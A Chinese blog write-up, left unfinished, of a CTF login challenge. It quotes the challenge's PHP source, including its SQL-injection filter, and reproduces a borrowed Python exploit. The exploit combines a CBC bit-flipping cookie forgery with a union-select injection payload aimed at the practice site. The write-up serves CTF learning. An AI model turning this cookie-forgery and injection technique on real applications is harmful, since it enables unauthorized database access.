实验吧“一道超级简单的登陆题”

刚背完科一,脑袋还是晕乎乎的,开始码文,希望各位读者大大,不要骂我,我还是遵守承诺一天一更,用的实验吧

进去给我呈现个这种页面

这种很大几率是注入,注入的话,提交个'试试

我的妈,看看审查元素藏东西没

毛都没有,这是个假站,不做了,告辞!等等我还没试过抓包,试试

返回时,还报了个错,是个大佬,对待大佬,就应该打他!!!

可疑点tips防止表单重复提交打开看看是什么玩意。

源码,这是让我分析吧,这是第一题????这么刺激吗?有点小激动,不过这太乱了我整理一下

("SECRET_KEY", '***********'); #查询KEY,哈哈哈什么鬼,代码作用全靠猜define("METHOD", "aes-128-cbc"); #是个加密方法吧,128-cbc很眼熟error_reporting(0); include('conn.php'); #引用文件function sqliCheck($str){#function应该是定义模块,我看到返回值了。定义函数名sqliCheck接收值后放入$str  if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){ #这个应该是过滤。if里是条件,再考绕过吗?          return 1; #返回1              }           return 0; #返回值为0          } function get_random_iv(){ #定义了个函数,不过应该有调用的,看了一下在20行,在下面,结合看一下      $random_iv='';       for($i=0;$i<16;$i++)      {       $random_iv.=chr(rand(1,255)); #像不像Python里的range扯远了,这里应该是生成数值然后进行字符char进行赋值      }      return $random_iv; #返回值      }  function login($info){ #登陆,直觉告诉我这个很重要    $iv = get_random_iv();#开始调用上面的那个函数    $plain = serialize($info); #一看就是序列化,serialize() 函数用于序列化对象或数组,并返回一个字符串。serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);     setcookie("iv", base64_encode($iv)); #cookie加密成base64,感觉对我帮助不大,希望没有猜错源码的意思    setcookie("cipher", base64_encode($cipher)); #这个对象$cipher,应该是吧上面的全部加密了    }  function show_homepage(){       global $link;       if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){         $cipher = base64_decode($_COOKIE['cipher']);         $iv = base64_decode($_COOKIE["iv"]);       if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv))      {         $info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize"); #反序列化跟上面对应,也即是说上面给我登陆时序列化了,然后又反序列化        $sql="select * from users limit ".$info['id'].",0"; #重点,查询语句出现了,select*from users查询这个表单,链接我们提交的ID,后面跟了个0,不明白用处        $result=mysqli_query($link,$sql);         if(mysqli_num_rows($result)>0 or die(mysqli_error($link)))        {           $rows=mysqli_fetch_array($result);          echo 'Hello!'.$rows['username'].'';#输出hello,顺便一个username,这样啊,应该是调戏我。         }           else{ echo 'Hello!'; }       }          else{ die("ERROR!"); }       }       }       if(isset($_POST['id'])){ #post方式提交ID        $id = (string)$_POST['id']; #再换成字符        if(sqliCheck($id))         die("sql inject detected!");         $info = array('id'=>$id);索引为id,值为$id,好了我大概知道是什么意思了        login($info); echo 'Hello!';         }      else{ if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher']))      {         show_homepage();       }      else{         echo 'Login Forminput id to loginid';       }       }

也可以大佬对其的分析

<?phpdefine("SECRET_KEY", '***********');define("METHOD", "aes-128-cbc");error_reporting(0);include('conn.php');function sqliCheck($str) {    //只要匹配到这些字符,就会输出“检测到SQL注入”    #解答这道题的关键就在于人如何绕过这个正则的字符过滤    if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)) {        return 1;    }    return 0;}function get_random_iv() {    $random_iv='';    for($i=0; $i<16; $i++) {        $random_iv.=chr(rand(1,255));    }    return $random_iv;}function login($info) {    $iv = get_random_iv();    $plain = serialize($info);    #序列化的意义    /*****************     <?php     #序列化的意义在于将数组从内存中存储到硬盘中,减轻内存的使用量     #另一个用途就是在网络上传送字节序列     $a=array("test","abc","desdf","12345","博客","www.jb51.net","heqile","个人博客");     $b=serialize($a);     print_r($b);     #a:8:{i:0;s:4:"test";i:1;s:3:"abc";i:2;s:5:"desdf";i:3;s:5:"12345";i:4;s:6:"博客";i:5;s:12:"www.jb51.net";i:6;s:6:"heqile";i:7;s:12:"个人博客";}     #仔细观察一下,应该不难发现序列化之后的字符串格式是有规律的:     #a:8--->含有8个元素的数组     #i:0;s:4:"test"--->在数组中的索引为0,字符串长度为4,字符串是test     echo "<br/>";     $c=unserialize($b);     print_r($c);     #Array ( [0] => test [1] => abc [2] => desdf [3] => 12345 [4] => 博客 [5] => www.jb51.net [6] => heqile [7] => 个人博客 )     ?>     *****************/    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);    setcookie("iv", base64_encode($iv));    setcookie("cipher", base64_encode($cipher));}function show_homepage() {    global $link;    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])) {        $cipher = base64_decode($_COOKIE['cipher']);        $iv = base64_decode($_COOKIE["iv"]);                #反序列化,解密,这些参数的意义我也不太清楚,不是很了解openssl这个加密算法        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)) {            $info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize");                        #我们必须要想办法把后面的  ,0  注释掉,不然我们是不可能看到结果的            $sql="select * from users limit ".$info['id'].",0";            $result=mysqli_query($link,$sql);            if(mysqli_num_rows($result)>0 or die(mysqli_error($link))) {                $rows=mysqli_fetch_array($result);                echo '        Hello!'.$rows['username'].'        ';            } else {                echo '        Hello!        ';            }        } else {            die("ERROR!");        }    }}if(isset($_POST['id'])) {    $id = (string)$_POST['id'];    if(sqliCheck($id))        die("sql inject detected!");        $info = array('id'=>$id);        #声明了一个数组,索引为字符串'id',值为$id        login($info);        #登录,并返回Cookie值        echo 'Hello!';} else {    if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])) {        show_homepage();    } else {        echo 'Login Form input id to login';    }}?>--------------------- 作者:virtu41 原文:https://blog.csdn.net/include_heqile/article/details/79942993 

这种玩意,要么绕过,

if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str))

这个过滤了union|like|procedure

要么就是查询哪里做文章

$sql="select * from users limit ".$info['id'].",0";

还有一个就是它说的加密方法。要不一般的网站谁说,肯定是提示

define("METHOD", "aes-128-cbc");

去看一下攻略吧

跟我分析的差不多

cipher=uFv%2FLnn3XcSGf%2F3ntf0PtDF6PauIqNXK6QDDyo%2B0ftw%3D
iv=GqyyISNg8M6YEV3GuT%2BtYw%3D%3D

找了个大佬的exp

import requests,base64,urllib,math
def work():    url = 'http://ctf5.shiyanbar.com/web/jiandan/index.php'    payload = '0 union select 1,value,3 from you_want limit 1#'      #payload = 'x'*20
    plaintext = 'a:1:{s:2:"id";s:%d:"%s";}'%(len(payload),payload)    badText = 'x'*16    if len(plaintext)%16:        if len(plaintext)%16>3:            badText = 'x'*(len(plaintext)%16-3)+'";}'        elif len(plaintext)%16 == 3:            badText = '";}'        elif len(plaintext)%16 == 1:            badText = '}'        else:            badText = ';}'    r = requests.post(url,data={'id':'x'*len(payload)})    sc = r.headers['Set-Cookie'].split(',')
    iv = 'a'*16    cipher = sc[1][sc[1].find('=')+1:]    blockNum = len(cipher)/16    cipher = base64.b64decode(urllib.unquote(cipher))    blockNum = len(cipher)/16    cipherBlock = [iv]    cipherBlock += [cipher[16*i:16*(i+1)] for i in xrange(blockNum)]    plainBlock = [plaintext[16*i:16*(i+1)] for i in xrange(blockNum)]
    for i in xrange(blockNum-1,-1,-1):        s1 = plainBlock[i]        s2 = cipherBlock[i]        tmp = ''
        for j in xrange(len(s1)):            tmp += chr(ord(s1[j])^ord(badText[j])^ord(s2[j]))
        cipherBlock[i]=tmp+s2[len(tmp):]        if i == 0:            iv = cipherBlock[0]
        iv_new = urllib.quote(base64.b64encode(iv))        cipher_new = urllib.quote(base64.b64encode(''.join(cipherBlock[1:])))        headers={'Cookie':'iv={};cipher={}'.format(iv_new,cipher_new)}
        r = requests.get(url,headers=headers)
        if i != 0:             tmp = r.text[r.text.find('decode')+8:r.text.rfind("')")]            badText = base64.b64decode(tmp)[16*(i-1):16*i]        else:            print r.text.encode('gb18030')

work()--------------------- 作者:r00tnb 

但是原理不懂,有exp来做题,那对自己的帮助不大,

找了张原理图,来看一下加密的流程,英语不好的我,顺便汉化,如下

解密就是倒过来

$id = '12';$info=array('id'=>$id);$plain = serialize($info);结果为:    a:1:{s:2:"id";s:    2:"12";}16个字节为一行,不足者填充,2对应上一行中的{由CBC加密的方式我们可以知道,{位置的值会影响到2位置的值其实这个问题很好解释:约定half_plain为第二组使用秘钥解密后的字符串,则有:half_plain^{=2我们现在想让右边变成#,则有:half_plain^{^2^#=2^2^#所以我们就要将{对应的位置改为{^2^#在脚本中是这样表达的:    cipher_raw=b64decode(urllib.unquote(cipher))    #先进行url解码,再使用base64解码,得到原始密文    lst=list(cipher_raw)    #将密文转换成列表的形式,以便于对单个字节进行操作    idx=4    c1 = '2'    c2 = '#'    lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))    cipher_new=''.join(lst)  #将列表转换成了字符串  cipher_new=urllib.quote(b64encode(cipher_new))  #对原始密文base64转码,并进行url编码--------------------- 作者:virtu41

其实到这里我感觉这道题的翻转去用来绕过这个过滤的,因为时间的关系,只能先搁浅了,只能说是未做完的题目,因为今天要考了科一,所以没有什么状态,这篇文也是匆匆赶出来的,为了保证一天一篇文章,也不申请什么原创了,引用了太多大佬的,东西,原文的链接我已经挂到公众号下面了,点击原文即可查看,我要好好琢磨一下,然后再从新写。抱歉

原文发布于微信公众号 - 渗透云笔记(shentouyun)

原文发表时间:2019-06-14

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券